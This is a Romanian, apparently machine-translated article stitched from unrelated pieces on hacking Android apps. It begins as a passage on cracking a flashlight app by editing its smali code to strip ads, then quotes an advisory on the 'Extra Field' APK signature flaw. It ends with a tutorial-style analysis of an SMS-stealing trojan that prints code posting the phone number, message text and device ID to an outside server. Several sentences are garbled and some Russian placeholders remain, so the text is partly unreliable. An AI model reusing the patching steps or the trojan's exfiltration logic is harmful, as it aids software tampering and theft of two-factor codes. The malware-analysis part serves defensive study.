Am putea schimba logica funcționării sale, dar ar fi mult mai ușor să eliminați pur și simplu apelurile la oricare dintre metodele sale din aplicația în sine. Prin urmare, părăsim directorul de marketing și mergem la directorul de particule adiacent și apoi la virtualtorch. Fișierul MainActivity.smali merită o atenție specială aici. Aceasta este o clasă Android standard care este creată de Android SDK și instalată ca punct de intrare în aplicație (analog cu funcția principală din C). Deschideți fișierul pentru editare.

Înăuntru există cod smali (asambler local). Este destul de confuz și dificil de citit din cauza naturii sale de nivel scăzut, așa că nu îl vom studia, ci pur și simplu vom găsi toate referințele la clasa Ad în cod și le vom comenta. Introducem linia „Ad” în căutare și ajungem la rândul 25:

Câmp anunț privat:Lcom/kauf/marketing/Ad;

Aici este creat un câmp de anunț pentru a stoca un obiect de clasă de anunțuri. Comentăm punând un semn ### în fața liniei. Continuăm căutarea. Linia 423:

Noua instanță v3, Lcom/kauf/marketing/Ad;

Aici are loc crearea obiectului. Hai sa comentam. Continuăm căutarea și găsim în rândurile 433, 435, 466, 468, 738, 740, 800 și 802 apeluri la metodele clasei Ad. Hai sa comentam. Arata ca asta e. Salva. Acum pachetul trebuie pus la loc și verificat pentru funcționalitate și prezența reclamei. Pentru puritatea experimentului, returnăm linia eliminată din AndroidManifest.xml, asamblam pachetul, semnăm și instalăm.

Cobaiul nostru. Publicitate vizibilă

Hopa! Publicitatea a dispărut doar în timp ce aplicația rula, dar a rămas în meniul principal, pe care îl vedem când lansăm software-ul. Așadar, așteptați, dar punctul de intrare este clasa MainActivity, iar reclama a dispărut în timp ce aplicația rula, dar a rămas în meniul principal, deci punctul de intrare este diferit? Pentru a identifica adevăratul punct de intrare, redeschideți fișierul AndroidManifest.xml. Și da, conține următoarele rânduri:

Ei ne spun (și, mai important, Android) că o activitate numită Start ar trebui să fie lansată ca răspuns la generarea unui intent (eveniment) android.intent.action.MAIN din categoria android.intent.category.LAUNCHER. Acest eveniment este generat atunci când atingeți pictograma aplicației din launcher, deci determină punctul de intrare, și anume clasa Start. Cel mai probabil, programatorul a scris mai întâi o aplicație fără meniu principal, punctul de intrare la care era clasa standard MainActivity, apoi a adăugat o nouă fereastră (activitate) care conține meniul și descrisă în clasa Start și a făcut-o manual intrarea. punct.

Deschideți fișierul Start.smali și căutați din nou linia „Ad”, găsim în rândurile 153 și 155 o mențiune a clasei FirstAd. Se află și în codul sursă și, judecând după nume, este responsabil pentru afișarea reclamelor pe ecranul principal. Să privim mai departe, există crearea unei instanțe a clasei FirstAd și o intenție care, după context, este legată de această instanță, iar apoi eticheta cond_10, tranziția condiționată la care se realizează exact înainte de a crea o instanță. din clasa:

If-ne p1, v0, :cond_10 .line 74 new-instance v0, Landroid/content/Intent; ... :cond_10

Cel mai probabil, programul calculează cumva aleatoriu dacă publicitatea ar trebui să fie afișată pe ecranul principal și, dacă nu, sare direct la cond_10. Ok, să-i simplificăm sarcina și să înlocuim tranziția condiționată cu una necondiționată:

#if-ne p1, v0, :cond_10 goto:cond_10

Nu mai există mențiuni despre FirstAd în cod, așa că închidem fișierul și reasamblam lanterna noastră virtuală folosind apktool. Copiați-l pe smartphone, instalați-l, lansați-l. Voila, toate reclamele au dispărut, pentru care ne felicităm pe toți.

Rezultate

Acest articol este doar o scurtă introducere în metodele de hacking și modificare a aplicațiilor Android. Multe probleme au rămas în spatele scenei, cum ar fi eliminarea protecției, analizarea codului ofuscat, traducerea și înlocuirea resurselor aplicației, precum și modificarea aplicațiilor scrise cu folosind Android NDK. Cu toate acestea, având cunoștințe de bază, este doar o chestiune de timp să-ți dai seama de toate.

Extra Field este o vulnerabilitate din Google Android care permite atacatorilor să modifice conținutul pachet de instalare orice aplicație pentru acest sistem de operare fără a o deteriora semnatura digitala. Folosind această vulnerabilitate, autorii de viruși pot distribui troieni introducând o componentă rău intenționată în orice aplicație legitimă sau de încredere.

Antivirusul Dr.Web pentru Android nu poate elimina această vulnerabilitate, deoarece este detectată la nivelul sistemului de operare în sine, dar detectează și elimină cu succes programele rău intenționate răspândite cu ajutorul său chiar și atunci când încearcă să pătrundă și să ruleze pe dispozitivul protejat. .

Detalii tehnice

Operarea distribuțiilor de aplicații sistemele Google Android sunt distribuite sub formă de fișiere .APK, care sunt o arhivă ZIP care conține toate componentele necesare pentru ca aplicația să funcționeze. În timpul procesului de instalare a programului, acestea sunt extrase din arhivă și sumele lor de verificare sunt verificate cu o listă specială. Fiecare aplicație are propria semnătură digitală.

Exploatarea unei vulnerabilități Câmp suplimentar, atacatorii pot schimba structura unei arhive APK: prin adăugarea în câmpul său de serviciu a valorii uneia dintre componentele originale ale programului (în special, fișierul classes.dex) fără primii trei octeți, plasând simultan o versiune modificată. a acestui fișier în locul său, acesta din urmă este perceput de sistemul de operare ca fiind legitim și permis pentru instalare. Deși potențiala utilizare a acestei vulnerabilități este limitată de dimensiunea fișierului dex, care nu trebuie să fie mai mare de 65.533 de octeți, infractorii cibernetici interesați de un atac o pot exploata cu ușurință luând ca bază un program sau un joc inofensiv care are o componentă de dimensiunea potrivită.

Fișierul classes.dex conține codul aplicației compilat în fișierul APK. Antetul pachetului APK include un spațiu care stochează numele fișierului cu extensia .dex, precum și un câmp numit câmp suplimentar care stochează conținutul fișierului classes.dex și lista claselor utilizate de aplicație. Dacă câmpul antet este scurtat cu trei octeți, lungimea câmpului corespunzător se modifică, ceea ce permite atacatorilor să includă classes.dex original în câmpul suplimentar, precum și o copie rău intenționată a acestui fișier, din care o parte va fi de asemenea plasată în câmpul suplimentar. Un câmp modificat poate conține clase create de atacatori care poartă funcționalități rău intenționate. La instalarea aplicației sistem de operare citește conținutul a acestui domeniu, în urma căruia pe dispozitivul atacat este instalat un fișier classes.dex modificat de atacatori.

Ați pierdut codul sursă al programului și trebuie să recuperați codul. Ai descărcat un program cu un virus și vrei să afli ce face.

Programele Android sunt distribuite în arhive. Aceste arhive au extensia „.apk”. Astfel de fișiere nu sunt criptate și sunt în esență fișiere zip. Puteți redenumi fișierul apk în zip pentru a verifica acest lucru.

Trebuie să săpați mai adânc în fișierul APK și să obțineți câteva date. Puteți exersa pe pisici. Să luăm programul nostru „Hello Kitty” și să găsim fișierul apk în folderul proiectului app\build\outputs\apkși mutați-l într-un dosar separat pentru experimente.

După despachetarea arhivei, puteți vedea structura aplicației și puteți întâlni fișiere familiare. Și chiar extrage unele fișiere pentru vizualizare. De exemplu, în folder res/drawable-hdpi-v4 Mi-am găsit poza pinkhellokitty.png. S-ar părea că aceasta este fericirea. Dar stai, bucură-te. Dacă nu există probleme cu imaginile, atunci citirea fișierului XML va fi o dezamăgire. Puteți vedea câteva rânduri, dar în general textul este complet ilizibil. Deci, să luăm mai întâi un alt traseu.

Deoarece aplicații personalizate pentru Android sunt executate într-o mașină java, apoi fișierele APK moștenesc toate caracteristicile fișierelor JAR.

Conținutul arhivei arată de obicei cam așa:

Directorul META-INF conține:

CERT.RSA - certificat de aplicare
CERT.SF - sume de verificare ale fișierelor de resurse (imagini, sunete etc.)
MANIFEST.MF - informații de serviciu care descriu fișierul apk în sine

Analiza programelor malware

Ca exemplu, să luăm programul suspect.apk, care este detectat de diverse antivirusuri ca un program rău intenționat.

Pentru a înțelege mai bine ce anume să căutați, trebuie să analizați fișierul „AndroidManifest.xml” - vedeți exact ce permisiuni sunt necesare aplicației analizate. Acest fișier binar, nu text xml obișnuit. Pentru a-l citi, trebuie să utilizați utilitarul de consolă „aapt” din SDK-ul Android. Se află în directorul „platform-tools”. Deoarece nu există interfață grafică, comanda trebuie introdusă în consolă. De exemplu, pentru Windows:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk

Desigur, trebuie să vă înlocuiți propriile căi. În Linux, comanda va fi aceeași, cu diferențe evidente (nu vor exista litere de unitate și nici o extensie „exe” pentru utilitar). Pentru mai multă comoditate, rezultatul poate fi redirecționat către un fișier:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

În fișier trebuie să găsiți secțiunea „Manifest Android” și să căutați o listă de permisiuni. În fișierul analizat arată așa:

"android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (Raw: "android.permission.INTERNET") "android.permission." (Raw: „android.permission.RECEIVE_SMS”)

Din aceste informații devine clar că programul poate primi starea telefonului (aceasta include, de exemplu, „telefon în modul apel”, „telefon în modul recepție de date”). Această permisiune este necesară și pentru a obține numărul de telefon pe care rulează programul, pentru a lucra cu rețeaua și pentru a monitoriza sosirea SMS-urilor. Aceste aspecte trebuie să fie concentrate într-o analiză ulterioară.

Pentru a obține acces la cod, trebuie să efectuați doi pași - convertiți fișierul apk într-un fișier jar și decompilați bytecode-ul rezultat într-o formă mai citită de om.

Să folosim convertorul „dex2jar”:

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

Fișierul convertit va fi localizat în același director cu fișierul original. „.dex2jar.jar” va fi adăugat la numele său, adică în acest exemplu va fi „suspicious.apk.dex2jar.jar”.

Acest fișier poate fi deschis cu un decompilator. Ierarhia pachetelor din fereastra decompilatorului arată astfel:


Aici se termină pașii pregătitori - succesul în continuare depinde doar de cunoștințele dvs. despre Java și de capacitatea de a utiliza un motor de căutare.

Din fericire, eșantionul ales pentru exemplu este destul de modest ca dimensiune - borcanul final are doar 7,01 KB.

Există doar șase clase în program. Să le excludem pe cele care nu prezintă interes. Aceasta este o clasă R care listează numai identificatorii tuturor resurselor. De asemenea, puteți exclude clasa din luare în considerare Config, care conține configurația de construcție.

Să aruncăm o privire mai atentă asupra celor trei clase rămase.

Activare

Această clasă este declanșată de un eveniment onCreate(), adică imediat după pornirea aplicației.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService(„telefon”);- creează localTelephonyManager, care stochează datele dispozitivului.

str1 = localTelephonyManager.getDeviceId();- selectează numărul de identificare a dispozitivului din datele primite și îl plasează în linia str1

Urmează un ciclu care se divide Identificatorul dispozitivuluiîn bucăți de patru numere, inserând o cratimă „-” între ele, adică de la XXXXXXXXXXXXXXX obținem XXXX-XXXX-XXXX-XXXX. Șirul rezultat de numere și cratime este transmis la TextView cu ID 2131034112.

SmsReceiver

Această clasă este declanșată când sosește un mesaj SMS, eveniment onReceive().

Sarcina acestei clase este de a monitoriza SMS-urile primite și, dacă este detectată, de a rula clasa Serviciul principal, trecându-i un indicator către un mesaj nou primit.

Serviciul principal

Această clasă este destul de mare, așa că nu o voi enumera în întregime. Imediat după apel, lansează subclasa „SmsBlockerThread”, care blochează notificarea unui SMS primit, astfel încât utilizatorul să nu fie notificat despre un nou SMS primit.

Apoi SMS primit procesate astfel:

String str1 = localSmsMessage.getOriginatingAddress();- numărul de telefon al destinatarului (adică numărul de telefon pe care este instalat troianul) este plasat într-o variabilă str1.

String str2 = localSmsMessage.getMessageBody();- corpul mesajului este plasat în variabila str2

Perechile înrudite sunt apoi create localBasicNameValuePair1Și localBasicNameValuePair2în care sunt plasate valorile

F0=<номер телефона>b0=<текст сообщения>

Aceste perechi sunt stocate în matricea localArrayList, la care perechea este adăugată ulterior localBasicNameValuePair3, reprezentând id=

În același timp, după cum puteți vedea, Identificatorul dispozitivului este obținut din nou, în loc să folosească ceea ce a fost primit în clasă Activare. Sfarseste prin a apela metoda postRequest() din ultima clasă ServerSession:

Încercați ( JSONObject localJSONObject = ServerSession.postRequest(new UrlEncodeFormEntity(localArrayList)); return; )

Aceeași matrice de perechi este transmisă ca parametru, în care numărul de telefon, conținutul SMS și identificatorul dispozitivului.

ServerSession

Această clasă are două metode: initUrl() care returnează partea de link „(http://softthrifty.com/security.jsp)”:

String static public initUrl() ( returnează „http://softthrifty.com/security.jsp”; )

și o metodă grozavă postRequest(), care a fost sunat din clasă Serviciul principal. În ciuda dimensiunii, sarcina postRequest() simplu - trimite la server folosind link-ul returnat de metoda initUrl(), date prin adăugarea de perechi din matricea colectată în Serviciul principal. Adică urmați doar linkul:

(http://softthrifty.com/security.jsp?f0=<номер телефона>&b0=<текст сообщения>&id= )

Concluzie

Deci, acest troian interceptează SMS-urile și trimite o cerere către server, în care transmite numărul telefonului infectat, conținutul SMS-ului și identificatorul telefonului infectat. Acest comportament poate fi un semn al unui troian bancar care atacă autentificarea cu doi factori. Pentru atac reușit trebuie îndeplinite următoarele condiții:

1) atacatorul trebuie să infecteze computerul victimei pentru a intercepta datele bancare online;
2) atacatorul trebuie să infecteze telefonul victimei pentru a intercepta un SMS cu un cod de confirmare de la bancă;
3) atacatorul trebuie să lege cumva utilizatorul computerului infectat și telefonul infectat pentru a ști de la ce acreditări online banking este acest cod de confirmare;

Datorită dimensiunii și evidenței activității desfășurate, un astfel de eșantion este foarte potrivit pentru demonstrarea tehnicilor de bază de analiză a programelor malware pentru Android.